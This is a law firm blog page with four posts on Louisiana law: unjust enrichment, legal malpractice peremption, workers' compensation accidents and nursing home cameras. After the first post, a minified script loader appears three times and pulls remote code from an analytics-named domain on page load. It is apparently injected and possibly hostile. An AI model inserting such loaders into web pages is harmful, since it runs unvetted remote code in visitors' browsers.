Insight

Supreme Court Clarifies Requirements of Unjust Enrichment Claim

Published on: August 12, 2025

Under Louisiana law, unjust enrichment is a cause of action that is based in equity and provides that no one should be enriched at the expense of another. The elements of an unjust enrichment claim are: (1) an enrichment; (2) an impoverishment; (3) a connection between the enrichment and the impoverishment; (4) an absence of justification or cause for the enrichment and impoverishment; and (5) no other available remedy at law. The Supreme Court recently addressed the fourth element regarding the absence of justification for the enrichment.

In H & O Invs., LLC v. Par. of Jefferson Through Sheng, a grass cutting contractor entered into a contract with the Parish for grass cutting in certain areas. The Parish separately contracted with a second contractor for weed control of the same areas. During the contract period, the grass cutting contractor notified the Parish that there was unanticipated weed growth and suggested that the weed control contractor was not properly applying the herbicide. The grass cutting contractor alleged that its work became more expensive because of the weed control contractor’s failure to perform its contractual obligation.

The grass cutting contractor sued the Parish alleging unjust enrichment. The Parish filed an exception of no cause of action, claiming that there was no claim for unjust enrichment because a contract existed between the parties. The Fifth Circuit disagreed and held that the contractor could bring a claim for unjust enrichment because there was no contractual claim between the contractor and the Parish, as both parties fulfilled their contract obligations.

The Supreme Court reversed, noting that a claim for unjust enrichment requires a showing that there was an “absence of justification or cause for the enrichment.” The Supreme Court held that when a contract exists between the parties, it serves as the law between them, and that contract is the legal cause or justification for the enrichment. Therefore, the contract between the contractor and the Parish was in fact the justification for the enrichment such that it could not be “unjust.” The Supreme Court dismissed the contractor’s suit against the Parish.

Reference:

H&O Invs., LLC v. Par. of Jefferson, 24-554 (La. App. 5 Cir. 12/18/24), writ granted, decision rev'd sub nom. H & O Invs., LLC v. Par. of Jefferson Through Sheng, 2025-00086 (La. 5/20/25), 408 So.3d 958.

;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');

Posted by:

Disclaimer

Keogh Cox & Wilson, Ltd. provides this blog as a public service for general information only. The materials contained herein may not reflect the most current legal developments or even express the opinion of all or even most of Keogh Cox attorneys. Such material does not constitute legal advice or form any attorney-client relationship. Keogh Cox and all contributing author(s) expressly disclaim all liability to any person with respect to the contents of this Web site and Blog and expect that no reliance will be made upon the information provided.

Continue Reading

Explore legal perspectives on the issues shaping Louisiana's key industries and courtrooms.

Insight

Court Finds Legal Malpractice Claim Perempted Because the Client Knew It Received “Bad Advice” More than One Year Before Suit Was Filed

Legal malpractice claims in Louisiana are governed by a peremption period that cannot be interrupted or suspended. La. R.S. 9:5605(A) provides that a legal malpractice claim must be brought one year from the date of the alleged malpractice, or within one year from the date the alleged malpractice should have been discovered. However, even when a claim is filed within one year of discovery, it must be filed within three years of the date of the alleged malpractice. If a party fails to assert a legal malpractice claim before the peremption period expires, the right to bring the claim is lost.

The Louisiana Supreme Court holds that “peremption commences to run in a legal malpractice case when a claimant knew or should have known of the existence of facts that would have enabled him to state a cause of action for legal malpractice.” In Crosby v. Waits, Emmett, Popp & Teich, LLC, the court recently examined the types of circumstances that should inform a plaintiff that an act of alleged malpractice occurred, which would trigger the peremptive period in which the plaintiff’s claim must be filed.

The plaintiff in Crosby owned 75% of a company and was in the process of buying out the minority stakeholder. The company was involved in litigation at the time. Initially, the minority stakeholder maintained all of the recovery and risk related to the suit. In April 2016, an attorney advised the plaintiff to accept an offer to split the recovery and risk in the suit 50/50 as part of the sale. The plaintiff then accepted the 50/50 offer. The litigation concluded after the sale, in February 2018, and resulted in an adverse judgment for which the plaintiff was responsible pursuant to the 50/50 agreement.

The plaintiff filed suit on February 12, 2019, within one year of the verdict in the underlying litigation, and claimed that its attorney committed malpractice when he advised that plaintiff accept the offer to split the recovery and risk in the suit. Specifically, it was alleged the attorney failed to examine the nature of the litigation or discover that the seller’s employees were aware the suit bore serious risk. The plaintiff’s representative testified that he did not keep track of the litigation and therefore could not have known the attorney engaged in the alleged malpractice until the jury rendered its verdict in the underlying suit.

However, the minority stakeholder testified that he knew the 50/50 offer was a bad deal for the plaintiff. Another employee testified he thought the risk of loss in the underlying suit was apparent to everyone involved. The court agreed. Based upon the evidence presented, “it should have been obvious to all concerned that the 50/50 option was favorable” to the minority stakeholder, who was adverse to the plaintiff’s interest.

The court held that the plaintiff should have known its attorney may have committed an act of malpractice when he advised it to accept the 50/50 split before the underlying litigation concluded. Accordingly, suit was not filed within one year of when the plaintiff should have known the alleged act of malpractice occurred. The plaintiff’s claims that it lacked such knowledge could not stand up to conflicting evidence. Thus, the claim was peremepted, and the plaintiff’s suit was dismissed.

Case References:

Crosby v. Waits, Emmett, Popp & Teich, LLC, 2022-0395 (La. App. 4 Cir. 11/21/22), 352 So. 3d 145.

Jenkins v. Starns, 2011-1170, p. 15 (La. 1/24/12), 85 So.3d 612, 621.

Insight

Louisiana Appellate Court Examines How Accidents are Defined under Louisiana Workers’ Compensation Law

Generally, Louisiana Workers’ Compensation laws provide coverage for an employee who sustains personal injuries by an accident arising out of and in the course of his or her employment. La. R.S. 23:1021(1) defines “accident” as:

"An unexpected or unforeseen actual, identifiable, precipitous event happening suddenly or violently, with or without human fault, and directly producing at the time objective findings of an injury which is more than simply a gradual deterioration or progressive degeneration."

In Rayborn, Sr. v. Continental Cement Company, LLC et al, the plaintiff-employee filed suit when the worker’s compensation carrier terminated benefits based on its assertion that the plaintiff’s left knee injury was not the result of an “accident” as defined in the statute. The evidence presented at trial established the following:

  • After returning home from work one day, the plaintiff began to feel soreness behind his left knee and believed he “may have pulled a muscle.”
  • The plaintiff sought medical attention at a local clinic 2 days later.
  • The plaintiff told clinic staff that his “leg was hurting,” and that he “was at work climbing up and jumping down off of barges all week.”
  • After returning from a pre-planned family trip one week later, the plaintiff told to his managers at work that he hurt his knee “some kind of way” and that he was “doing too much climbing up and jumping down from barges “and his knee “just started hurting.”
  • The chart from follow-up clinic visits stated, “Patient had [an] injury while at work when he jumped from a height and later that day felt a discomfort in the left lateral knee.”
  • Additional records noted the plaintiff “injured his knee on the job; however it was not readily apparent until [his] knee became stiff later that evening.”
  • The plaintiff later consulted with an orthopedic surgeon whose initial chart entry stated, “Over the course of the week, his knee began bothering him in the patellofemoral area and it started to become tight and swollen.”

At the conclusion of trial, the workers’ compensation court ruled that the plaintiff successfully proved that he sustained a work-related injury of his left knee on a particular date by climbing and jumping while performing his work duties. On appeal, the workers’ compensation carrier argued that plaintiff’s assertion that he was injured “some kind of way” over the course of a week was not sufficient to meet the requirement of a specific, identifiable accident in the course and scope of employment under La. R.S. 23:1021(1).

In affirming the decision of the OWC judge, the appellate court highlighted numerous opinions from the Louisiana Supreme Court and other courts of appeal wherein the statutory definition of “accident” was liberally construed to reject an interpretation that excluded “those workers who are worn down, rather than immediately crippled by, their work.” The opinion notes that it is well-settled in the case law that an “accident” exists when “heavy lifting or other strenuous efforts, although usual and customary, cause or contribute to a physical breakdown or accelerate its occurrence because of a pre-existing condition.”

The opinion added, “It is presumed the legislature is aware of how Louisiana courts have interpreted the statute; yet, it has taken no steps to overrule more than thirty years of Louisiana jurisprudence.” In so holding, it is unclear whether the court considered La. R.S. 23:1020.1(D), in which the Legislature specifically rejected the jurisprudential doctrine requiring a liberal interpretation of Workers Compensation statutes in favor of an employee. Despite this statement from the Legislature on the construction of Workers Compensation statutes, the Rayborn opinion suggests that courts may continue to base their decisions on the liberal interpretation of “accident” that has been developed and adopted by Louisiana courts when analyzing what types of injuries are covered under Louisiana Workers’ Compensation Law.

References:

Rayborn v. Cont'l Cement Co., LLC, 2023-0403 (La. App. 1 Cir. 1/10/24), 2024 WL 132802.

Insight

Nursing Home Liability: Big Brother is Watching Granny?

As an integral theme to his best-selling novel Nineteen Eighty-Four, George Orwell once used the slogan: “Big Brother is Watching You.” This slogan embodied the idea that a person’s actions and intentions are being monitored by the government as a means of controlling and suppressing the will of the populace.

Although not as extreme as Orwell’s dystopian novel, Louisiana families will now be able to install video monitoring systems in their loved ones’ nursing home rooms pursuant to Act 596 of the 2018 Regular Session of the Louisiana Legislature. According to the “Nursing Home Virtual Visitation Act,” nursing homes can not prohibit the cameras or retaliate against residents who want to install them. The video systems will monitor residents who often cannot speak for themselves.

However, several requirements must be met to abide by the Act:

  1. The resident, or family if the resident lacks capacity, must provide notice of installation to the facility;
  2. Visual recordings must include date and time;
  3. The device must be stationary and fixed, not oscillating;
  4. Residents must pay all costs for installation, upkeep, and removal;
  5. Written consent is required from all roommates;
  6. Room changes are required if a roommate does not consent;
  7. Residents and applicants cannot be retaliated against for authorizing devices; and
  8. Signage must be installed at the front door of the facility (at the facility’s cost) and at the resident’s room (at the resident’s cost) advising of surveillance in the rooms.

Furthermore, nursing homes must provide forms to nursing home residents, or their legal guardians, outlining the ways the cameras can be installed. Under the Act, surveillance should be addressed at admission as a resident right. To promote compliance, the Act prohibits the use of any recordings in litigation when the device was installed or used without the nursing home’s knowledge or used without adherence to the required forms. Additionally, compliance with the Act is a complete defense against lawsuits brought purely because monitoring devices are in use.

Nursing facilities and the families of residents and patients should take care to comply with all of the requirements in the act to ensure that the video footage is actually admissible and that the facilities are not opening themselves to privacy lawsuits from other residents. “Big Brother” might not be watching, but the increase in affordable, high quality, surveillance cameras, coupled with the Virtual Visitation Act, means nursing facilities should anticipate that someone could be watching very soon.

Chelsea A. Payne

Partner
Construction
Contracts
Louisiana